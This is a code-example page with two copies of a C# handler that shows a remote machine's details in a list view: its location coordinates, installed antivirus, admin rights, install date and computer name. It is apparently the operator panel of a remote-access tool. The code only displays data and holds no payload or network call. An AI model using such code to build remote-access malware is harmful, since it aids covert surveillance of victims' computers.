コード例 #1
0
        private void PacketReceived(object sender, OperationPacketEventArgs e)
        {
            if (e.Packet is FetchExtendedInformationPacket)
            {
                /*
                 *         public string OperatingSystem { get; set; }
            public bool IsAdmin { get; set; }
            public DateTime InstallDate { get; set; }
            public string RunningTime { get; set; }
            public string ComputerName { get; set; }
                 */
                var packet = e.Packet as FetchExtendedInformationPacket;
                var lvItmCountryCode = new ListViewItem("Country Code");
                var lvItmCountryName = new ListViewItem("Country Name");
                var lvItmTimeZone = new ListViewItem("Time Zone");
                var lvItmLatitude = new ListViewItem("Latitude");
                var lvItmLongitude = new ListViewItem("Longitude");
                var lvItmInstalledAntivirus = new ListViewItem("Installed Antivirus");
                var lvItmInstalledFirewall = new ListViewItem("Installed Firewall");
                var lvItmThisPath = new ListViewItem("Current Location");
                var lvItmOperatingSystem = new ListViewItem("Operating System");
                var lvItmIsAdmin = new ListViewItem("Is Admin");
                var lvItmInstallDate = new ListViewItem("Install Date");
                var lvItmRunningTime = new ListViewItem("Running Time");
                var lvItmComputerName = new ListViewItem("Computer Name");

                lvItmCountryCode.SubItems.Add(packet.CountryCode);
                lvItmCountryName.SubItems.Add(packet.CountryName);
                lvItmTimeZone.SubItems.Add(packet.TimeZone);
                lvItmLatitude.SubItems.Add(packet.Latitude);
                lvItmLongitude.SubItems.Add(packet.Longitude);
                lvItmInstalledAntivirus.SubItems.Add(packet.InstalledAntivirus);
                lvItmThisPath.SubItems.Add(packet.ThisPath);
                lvItmOperatingSystem.SubItems.Add(packet.OperatingSystem);
                lvItmIsAdmin.SubItems.Add(packet.IsAdmin ? "True" : "False");
                lvItmInstallDate.SubItems.Add(packet.InstallDate.ToString());
                lvItmRunningTime.SubItems.Add(packet.RunningTime);
                lvItmComputerName.SubItems.Add(packet.ComputerName);

                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmCountryCode));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmCountryName));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmTimeZone));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmLatitude));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmLongitude));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmInstalledAntivirus));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmInstalledFirewall));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmThisPath));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmOperatingSystem));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmIsAdmin));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmInstallDate));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmRunningTime));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmComputerName));
            }
        }
コード例 #2
0
        private void PacketReceived(object sender, OperationPacketEventArgs e)
        {
            if (e.Packet is FetchExtendedInformationPacket)
            {
                /*
                 *         public string OperatingSystem { get; set; }
                 * public bool IsAdmin { get; set; }
                 * public DateTime InstallDate { get; set; }
                 * public string RunningTime { get; set; }
                 * public string ComputerName { get; set; }
                 */
                var packet                  = e.Packet as FetchExtendedInformationPacket;
                var lvItmCountryCode        = new ListViewItem("Country Code");
                var lvItmCountryName        = new ListViewItem("Country Name");
                var lvItmTimeZone           = new ListViewItem("Time Zone");
                var lvItmLatitude           = new ListViewItem("Latitude");
                var lvItmLongitude          = new ListViewItem("Longitude");
                var lvItmInstalledAntivirus = new ListViewItem("Installed Antivirus");
                var lvItmInstalledFirewall  = new ListViewItem("Installed Firewall");
                var lvItmThisPath           = new ListViewItem("Current Location");
                var lvItmOperatingSystem    = new ListViewItem("Operating System");
                var lvItmIsAdmin            = new ListViewItem("Is Admin");
                var lvItmInstallDate        = new ListViewItem("Install Date");
                var lvItmRunningTime        = new ListViewItem("Running Time");
                var lvItmComputerName       = new ListViewItem("Computer Name");

                lvItmCountryCode.SubItems.Add(packet.CountryCode);
                lvItmCountryName.SubItems.Add(packet.CountryName);
                lvItmTimeZone.SubItems.Add(packet.TimeZone);
                lvItmLatitude.SubItems.Add(packet.Latitude);
                lvItmLongitude.SubItems.Add(packet.Longitude);
                lvItmInstalledAntivirus.SubItems.Add(packet.InstalledAntivirus);
                lvItmThisPath.SubItems.Add(packet.ThisPath);
                lvItmOperatingSystem.SubItems.Add(packet.OperatingSystem);
                lvItmIsAdmin.SubItems.Add(packet.IsAdmin ? "True" : "False");
                lvItmInstallDate.SubItems.Add(packet.InstallDate.ToString());
                lvItmRunningTime.SubItems.Add(packet.RunningTime);
                lvItmComputerName.SubItems.Add(packet.ComputerName);

                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmCountryCode));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmCountryName));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmTimeZone));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmLatitude));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmLongitude));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmInstalledAntivirus));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmInstalledFirewall));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmThisPath));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmOperatingSystem));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmIsAdmin));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmInstallDate));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmRunningTime));
                listView1.FlexibleInvoke(lv => lv.Items.Add(lvItmComputerName));
            }
        }